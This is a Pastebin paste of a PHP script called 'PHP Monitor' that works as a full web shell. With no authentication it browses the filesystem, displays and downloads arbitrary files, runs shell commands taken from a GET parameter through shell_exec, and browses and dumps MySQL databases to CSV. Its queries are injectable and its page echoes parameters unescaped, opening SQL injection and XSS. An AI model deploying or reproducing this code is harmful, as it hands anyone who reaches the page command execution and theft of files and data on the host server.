Advertisement
Guest User

Untitled

a guest
Oct 24th, 2016
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.84 KB | None | 0 0
  1. <?php
  2. // PHP Monitor v.0.1 (C)Hannu Balk 2013 http://twitter.com/hannub
  3. // Horrible code, comment on twitter.
  4. // Some features missing, might or might not be implemented later.
  5. session_start();
  6. if(!isset($_SESSION['curdir']))
  7. {
  8. $_SESSION['curdir'] = pathinfo(PHP_SELF, PATHINFO_DIRNAME);//dirname($_SERVER[PHP_SELF]);
  9. }
  10. if(isset($_GET['folder']))
  11. {
  12. $_SESSION['curdir'] = $_GET['folder'];
  13. }
  14. if(isset($_GET['select']))
  15. {
  16. if(is_dir($_GET['select']))
  17. {
  18. $_SESSION['curdir'] = $_GET['select'];
  19. }
  20. }
  21.  
  22. if($_SESSION['curdir'] != "/")
  23. $dir = $_SESSION['curdir'] . "/";
  24. else
  25. $dir = $_SESSION['curdir'];
  26.  
  27. if($_GET['download']=="true")
  28. {
  29. $file = $_GET['select'];
  30. header('Content-Description: File Transfer');
  31. header('Content-Type: application/octet-stream');
  32. header('Content-Disposition: attachment; filename='.basename($file));
  33. header('Content-Transfer-Encoding: binary');
  34. header('Expires: 0');
  35. header('Cache-Control: must-revalidate');
  36. header('Pragma: public');
  37. header('Content-Length: ' . filesize($file));
  38. ob_clean();
  39. flush();
  40. readfile($file);
  41. $_GET['download'] = "false";
  42. exit;
  43. }
  44. if($_GET['dbdlcsv']=="true")
  45. {
  46. $conn = mysql_connect($_GET['sqlserver'], $_GET['sqlusername'], $_GET['sqlpassword']);
  47. mysql_select_db($_GET['db']);
  48. $str = $str . mysql_error();
  49. $columns = mysql_query("SHOW COLUMNS FROM " . $_GET['table']);
  50. $str = $str . mysql_error();
  51. $data = mysql_query("SELECT * FROM " . $_GET['table']);
  52. $str = $str . mysql_error();
  53. $f = true;
  54. while($row = mysql_fetch_array($columns))
  55. {
  56. if($f == false)
  57. {
  58. $str = $str . ";";
  59. }
  60. else
  61. $f = false;
  62. $str = $str . "\"".$row[0]."\"";
  63. }
  64. $str = $str . "\r\n";
  65. while($row = mysql_fetch_array($data, MYSQL_NUM))
  66. {
  67. $f = true;
  68. foreach($row as $r)
  69. {
  70. if($f ==false)
  71. $str = $str . ";";
  72. else
  73. $f = false;
  74. $str = $str . "\"".$r."\"";
  75. }
  76. $str= $str ."\r\n";
  77. }
  78. header('Content-Description: File Transfer');
  79. header('Content-Type: text/csv');
  80. header('Content-Disposition: attachment; filename='.$_GET['table'].".csv");
  81. header('Content-Transfer-Encoding: binary');
  82. header('Expires: 0');
  83. header('Cache-Control: must-revalidate');
  84. header('Pragma: public');
  85. header('Content-Length: ' . strlen($str));
  86. ob_clean();
  87. flush();
  88. print($str);
  89. $_GET['download'] = "false";
  90.  
  91. exit;
  92. }
  93. ?>
  94.  
  95. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  96. <html xmlns="http://www.w3.org/1999/xhtml">
  97.  
  98. <head>
  99. <meta content="fi" http-equiv="Content-Language"/>
  100. <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
  101. <title>PHP Monitor</title>
  102. <link href="http://code.jquery.com/ui/1.10.1/themes/base/jquery-ui.css" rel="stylesheet" />
  103. <style type="text/css">
  104. .BG {
  105. background-color: #383225;
  106. }
  107. .Main {
  108. background-color: #2E3E3F;
  109. border: thin solid #C0C0C0;
  110. border-radius: 5px;
  111. margin: 10px 20px 30px 20px;
  112. box-shadow: 10px 10px 3px 2px #000000;
  113. color: #FFFFCC;
  114. padding: 10px;
  115. font-size: x-small;
  116. font-family: "Courier New", Courier, monospace;
  117. }
  118. .FormInput {
  119. background-color: #121F21;
  120. color: #A4B6BF;
  121. font-size: x-small;
  122. font-family: "Courier New", Courier, monospace;
  123. }
  124. .InputButton {
  125. width: 16px;
  126. height: 16px;
  127. vertical-align: middle;
  128. text-align: center;
  129. }
  130. .MenuMargins {
  131. margin-right: 20px;
  132. margin-left: 20px;
  133. }
  134.  
  135. .sqltable table{
  136. border: 1.0px #FFFF66 outset;
  137. empty-cells: show;
  138. border-spacing: 2px;
  139. }
  140.  
  141.  
  142. .sqltable th{
  143. border: 1.0px #FFFF66 outset;
  144. empty-cells: show;
  145. border-spacing: 2px;
  146. }
  147.  
  148. .sqltable td{
  149. border: 0.5px #FFFF66 ridge;
  150. empty-cells: show;
  151. border-spacing: 2px;
  152. }
  153.  
  154. a:link {color:#FFFFCC; text-decoration:none;} /* unvisited link */
  155. a:visited {color:#FFFFCC; text-decoration:none;} /* visited link */
  156. a:hover {color:#FFFFCC; text-decoration:underline;} /* mouse over link */
  157. a:active {color:#FFFFCC;} /* selected link */
  158. .Terminal {
  159. font-family: "Courier New", Courier, monospace;
  160. font-size: small;
  161. font-weight: normal;
  162. font-style: normal;
  163. font-variant: normal;
  164. text-transform: none;
  165. color: #00FF00;
  166. line-height: normal;
  167. vertical-align: top;
  168. text-align: left;
  169. white-space: normal;
  170. word-spacing: normal;
  171. letter-spacing: normal;
  172. background-color: #000000;
  173. border: 0.5px solid #C0C0C0;
  174. }
  175.  
  176. </style>
  177. <script type="text/javascript" src="http://code.jquery.com/jquery-1.9.1.js"></script>
  178. <script type="text/javascript" src="http://code.jquery.com/ui/1.10.1/jquery-ui.js"></script>
  179. <script type="text/javascript">
  180. var fsvisible;
  181. fsvisible = <?php if(!empty($_GET['fs']))echo $_GET['fs'].";\n";else echo "true;\n";?>
  182. var sbvisible;
  183. sbvisible = <?php if(!empty($_GET['sb']))echo $_GET['sb'].";\n";else echo "true;\n";?>
  184. var fcvisible;
  185. fcvisible = <?php if(!empty($_GET['fc']))echo $_GET['fc'].";\n";else echo "true;\n";?>
  186. checkfs();
  187. checksb();
  188. checkfc();
  189.  
  190. function checkfs()
  191. {
  192. if(fsvisible)
  193. show("#filesystem");
  194. else
  195. hide("#filesystem");
  196.  
  197. }
  198.  
  199. function checksb()
  200. {
  201. if(sbvisible)
  202. show("#sqlbrowser");
  203. else
  204. hide("#sqlbrowser");
  205. }
  206.  
  207. function checkfc()
  208. {
  209. if(fcvisible)
  210. show("#filecontent");
  211. else
  212. hide("#filecontent");
  213. }
  214.  
  215.  
  216. function fs()
  217. {
  218. if(fsvisible)
  219. hide("#filesystem");
  220. else
  221. show("#filesystem");
  222. fsvisible = !fsvisible;
  223. insertParamReload("fs", fsvisible, true);
  224. }
  225.  
  226. function sb()
  227. {
  228. if(sbvisible)
  229. hide("#sqlbrowser");
  230. else
  231. show("#sqlbrowser");
  232. sbvisible = !sbvisible;
  233. insertParamReload("sb", sbvisible, true);
  234. }
  235.  
  236. function filecontent()
  237. {
  238. if(fcvisible)
  239. hide("#filecontent");
  240. else
  241. show("#filecontent");
  242. fcvisible = !fcvisible;
  243. insertParamReload("fc", fcvisible, true);
  244.  
  245. }
  246.  
  247.  
  248. function hide(obj)
  249. {
  250. $(obj).hide("Drop", null, 500, null);
  251. }
  252.  
  253. function show(obj)
  254. {
  255. $(obj).show("Drop", null, 500, null);
  256. }
  257.  
  258. function insertParam(key, value)
  259. {
  260. insertParamReload(key, value, true);
  261. }
  262.  
  263. function insertParamReload(key, value, reload)
  264. {
  265. key = escape(key); value = escape(value);
  266.  
  267. var kvp = document.location.search.substr(1).split('&');
  268.  
  269. var i=kvp.length; var x; while(i--)
  270. {
  271. x = kvp[i].split('=');
  272.  
  273. if (x[0]==key)
  274. {
  275. x[1] = value;
  276. kvp[i] = x.join('=');
  277. break;
  278. }
  279. }
  280.  
  281. if(i<0) {kvp[kvp.length] = [key,value].join('=');}
  282. if(reload)
  283. {
  284. //this will reload the page, it's likely better to store this until finished
  285. document.location.search = kvp.join('&');
  286. }
  287. }
  288.  
  289. function onmouse(who)
  290. {
  291. who.style.textDecoration='underline';
  292. }
  293.  
  294. function offmouse(who)
  295. {
  296. who.style.textDecoration='none';
  297. }
  298.  
  299. function rowcount(who)
  300. {
  301. var x = who.options[who.selectedIndex].value;
  302. insertParam("rowcount", x);
  303. }
  304.  
  305. function dl()
  306. {
  307. insertParam("download", "true");
  308. }
  309.  
  310. function dbdlcsv()
  311. {
  312. insertParam("dbdlcsv", "true");
  313. }
  314.  
  315. function exec()
  316. {
  317. var params = prompt("Command paramters:", "");
  318. if(params == null)
  319. return;
  320. insertParam("exec", params);
  321. }
  322.  
  323.  
  324. </script>
  325.  
  326. </head>
  327.  
  328. <body class="BG">
  329. <div class="Main">
  330. <div>
  331. PHP Monitor 0.1 - (C)2013 <a href="http://twitter.com/hannub" target="_blank">http://twitter.com/hannub</a><br/>
  332. <a onclick="fs();" onmouseover="onmouse(this);" onmouseout="offmouse(this);;" class="MenuMargins">File System</a>
  333. <a onclick="sb();" onmouseover="onmouse(this);" onmouseout="offmouse(this);" class="MenuMargins">MySQL Browser</a>
  334. </div>
  335. <div id="filesystem" style="display: <?php if(!empty($_GET['fs']))
  336. {if($_GET['fs']=="true")
  337. echo "inherit;";
  338. else
  339. echo "none;";
  340. }
  341. else
  342. echo "inherit";
  343. ?>">
  344. <form name="folderselect" method="get">
  345. <input type="text" name="folder" style="width:80%" class="FormInput" value="<?php echo $_SESSION['curdir'] ?>"/>
  346. <input type="submit" value="Go"/>
  347. </form>
  348. <div id="filesystem" style="display: <?php if(!empty($_GET['fs']))
  349. {if($_GET['fs']=="true")
  350. echo "inherit;";
  351. else
  352. echo "none;";
  353. }
  354. else
  355. echo "inherit";
  356. ?>">
  357. <b>Files and folders:</b><br/>
  358. <?php
  359. //$df = scandir($_SESSION['curdir']);
  360. $df = scandir($dir);
  361. if($df == FALSE)
  362. {
  363. echo "<b>Failure to open directory [" . $dir . "]</b>";
  364. }
  365. else
  366. {
  367. $count = count($df);
  368. $index = 0;
  369. $cols = 6;
  370. echo $count . " files or directories in current directory<br/>";
  371. echo "<table style=\"width:100%\">";
  372. for($y=0;$y<$count/$cols;$y++)
  373. {
  374. echo "<tr>";
  375. for($i = 0;$i<$cols;$i++)
  376. {
  377. echo "<td onclick='insertParam(\"select\", \"" .$dir . $df[$index] ."\");' onmouseover=\"this.style.textDecoration='underline'\" onmouseout=\"this.style.textDecoration='none'\">" . $df[$index] . "</td>\n";
  378. $index++;
  379. }
  380. echo "</tr>\n";
  381. }
  382. echo "</table>";
  383. }
  384. ?>
  385. </div>
  386. <div>
  387. <?php
  388. if(isset($_GET['select']))
  389. {
  390. echo "<br/><hr/><b><a onclick=\"filecontent();\" onmouseover=\"onmouse(this);\" onmouseout=\"offmouse(this);\">" . $_GET['select'] . ":</a></b><br/>\n";
  391. echo "<div id=\"filecontent\" style=\"display: ";
  392. if(!empty($_GET['fc']))
  393. {if($_GET['fc']=="true")
  394. echo "inherit;";
  395. else
  396. echo "none;";
  397. }
  398. else
  399. echo "inherit";
  400. echo "\"";
  401.  
  402. echo "><table name=\"filecontent\" style=\"width:100%;\">";
  403. //readfile($_GET['select']);
  404. $lines = file($_GET['select']);
  405. foreach($lines as $line_num => $line)
  406. {
  407. echo "<tr><td style=\"text-align:right;width:4ex;\"><b>" . $line_num . "</b>:</td><td>". htmlspecialchars($line) . "</td></tr>\n";
  408. }
  409. echo "</table></div>";
  410. echo "<br/>\n";
  411. echo "<a onclick=\"dl();\" onmouseover=\"onmouse(this);\" onmouseout=\"offmouse(this);\" style=\"margin-right: 25px;\">Download</a>";
  412. echo "<a onclick=\"exec();\" onmouseover=\"onmouse(this);\" onmouseout=\"offmouse(this);\" style=\"margin-right: 25px;\">Execute</a>";
  413. echo "<br/>";
  414. if(isset($_GET['exec']))
  415. {
  416. echo "<hr/>";
  417. echo "<b>Output:</b><br/>";
  418. //$buffer = shell_exec($_GET['select'] . " ". $_GET['exec']);
  419. /*exec($_GET['select']. " ".$_GET['exec'], $buffer = array());
  420.  
  421. echo "<pre>\n";
  422. foreach($buffer as $b)
  423. echo $b . "\r\n";
  424. echo "\n</pre>\n";*/
  425. echo "<div class=\"Terminal\">";
  426. echo "<pre>\n>" .$_GET['select'] . " " . $_GET['exec'] ."\r\n" . shell_exec($_GET['select']. " " . $_GET['exec']) . "\n</pre>\n";
  427. echo "</div>";
  428. }
  429. }
  430. ?>
  431. </div>
  432. </div>
  433.  
  434. <div id="sqlbrowser" style="display: <?php if(!empty($_GET['sb']))
  435. {if($_GET['sb']=="true")
  436. echo "inherit;";
  437. else
  438. echo "none;";
  439. }
  440. else
  441. echo "inherit";
  442. ?>">
  443. <hr/>
  444. <form method="get" name="sqlbrowser">
  445. <b>SQL Server: </b><input type="text" name="sqlserver" class="FormInput" value="<?php echo $_GET['sqlserver'];?>"/>
  446. <b>Username: </b><input type="text" name="sqlusername" class="FormInput" value="<?php echo $_GET['sqlusername'];?>"/>
  447. <b>Password: </b><input type="password" name="sqlpassword" class="FormInput" value="<?php echo $_GET['sqlpassword'];?>"/>
  448. <b>SQL Server type: </b><select name="sqlservertype" class="FormInput"><option value="mysql" selected="selected">MySQL</option></select><input type="submit" value="Connect / Query" name="SQLBrowser"/>
  449. </form>
  450. <br/>
  451. <?php
  452. if(isset($_GET['SQLBrowser']))
  453. {
  454. if($_GET['sqlservertype']=="mysql")
  455. {
  456. $conn = mysql_connect($_GET['sqlserver'], $_GET['sqlusername'], $_GET['sqlpassword']);
  457. if($conn == false)
  458. {
  459. echo "<b>SQL Server connect error: " . mysql_error() . "</b><br/>";
  460. }
  461. else
  462. {
  463. echo "<hr/>";
  464. echo "<b>SQL Server connected.</b><br/>";
  465. $dbs = mysql_list_dbs($conn);
  466. $count = mysql_num_rows($dbs);
  467. echo "<b>Server has " . $count . " database(s).</b><br/>";
  468. echo "<b>Databases:</b><br/><table style=\"width:100%\">\n";
  469.  
  470. $cols = 4;
  471. $index = 0;
  472. for($i=0;$i<$count/$cols;$i++)
  473. {
  474. echo "<tr>";
  475. for($y=0;$y<$cols;$y++)
  476. {
  477. if($index<$count)
  478. {
  479. $row = mysql_fetch_object($dbs);
  480. echo "<td style=\"width:25%;\" onclick='insertParam(\"db\",\"". $row->Database . "\");' onmouseover='onmouse(this);' onmouseout='offmouse(this);'>[". $row->Database . "]</td>\n";
  481. $index++;
  482. }
  483. else
  484. echo "<td></td>";
  485. }
  486.  
  487. echo "</tr>\n";
  488. }
  489. echo "</table><br/>\n";
  490. if(!empty($_GET['db']))
  491. {
  492. mysql_select_db($_GET['db']);
  493. $tables = mysql_query("SHOW TABLES FROM " . $_GET['db']);
  494. if($tables==FALSE)
  495. {
  496. echo "<b>SQL Error: " . mysql_error()."<b><br/>\n";
  497. }
  498. else
  499. {
  500. echo "<hr/>";
  501. $count = mysql_num_rows($tables);
  502. echo "<b>Database has " . $count . " table(s).</b><br/>\n";
  503. echo "<b>Tables:</b><br/><table style=\"width:100%\">\n";
  504.  
  505. $cols = 4;
  506. $index = 0;
  507. for($i=0;$i<$count/$cols;$i++)
  508. {
  509. echo "<tr>";
  510. for($y=0;$y<$cols;$y++)
  511. {
  512. if($index<$count)
  513. {
  514. $row = mysql_fetch_row($tables);
  515. echo "<td style=\"width:25%;\" onclick='insertParam(\"table\",\"". $row[0]. "\");' onmouseover='onmouse(this);' onmouseout='offmouse(this);'>[". $row[0] . "]</td>\n";
  516. $index++;
  517. }
  518. else
  519. echo "<td></td>";
  520. }
  521.  
  522. echo "</tr>\n";
  523. }
  524. echo "</table><br/>\n";
  525. }
  526. if(!empty($_GET['table']))
  527. {
  528. echo "<hr/>";
  529. $columns = mysql_query("SHOW COLUMNS FROM " . $_GET['table']);
  530. if(!isset($_GET['rowcount']))
  531. $_GET['rowcount']=25;
  532. $data = mysql_query("SELECT * FROM " . $_GET['table'] . " LIMIT " . $_GET['rowcount']);
  533. if($columns ==FALSE)
  534. {
  535. echo "<b>SQL Error: " . mysql_error() . "<b><br/>\n";
  536. }
  537. else
  538. {
  539. $count = mysql_num_rows($columns);
  540. echo "<b>Table has " . $count . " column(s).</b><br/>\n";
  541. echo "<b>Columns:</b><br/><b>Row count:</b> <select name=\"rowcount\" onchange=\"rowcount(this)\">\n";
  542. echo "<option value=\"0\">Select</option><option value=\"25\" checked=\"checked\">25</option><option value=\"50\">50</option><option value=\"100\">100</option><option value=\"2000\">2000</option></select>";
  543. echo "<a onclick=\"dbdlcsv();\" onmouseover='onmouse(this);' onmouseout='offmouse(this);'>CSV</a>";
  544. echo "<br/>";
  545. echo "<table style=\"width:100%\" class=\"sqltable\">\n";
  546. echo "<tr>";
  547. while($row = mysql_fetch_array($columns))
  548. {
  549. echo "<th class=\"sqltable\">".$row[0]."</th>\n";
  550. }
  551. echo "</tr>";
  552. while($row = mysql_fetch_array($data, MYSQL_NUM))
  553. {
  554. echo "<tr>";
  555. foreach($row as $r)
  556. {
  557. echo "<td class=\"sqltable\">".$r."</td>\n";
  558. }
  559. echo "</tr>\n";
  560. }
  561.  
  562. }
  563.  
  564. }
  565. }
  566. }
  567. }
  568. }
  569. ?>
  570.  
  571. </div>
  572. </div>
  573. </body>
  574.  
  575. </html>
  576. <?php
  577. session_write_close();
  578. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement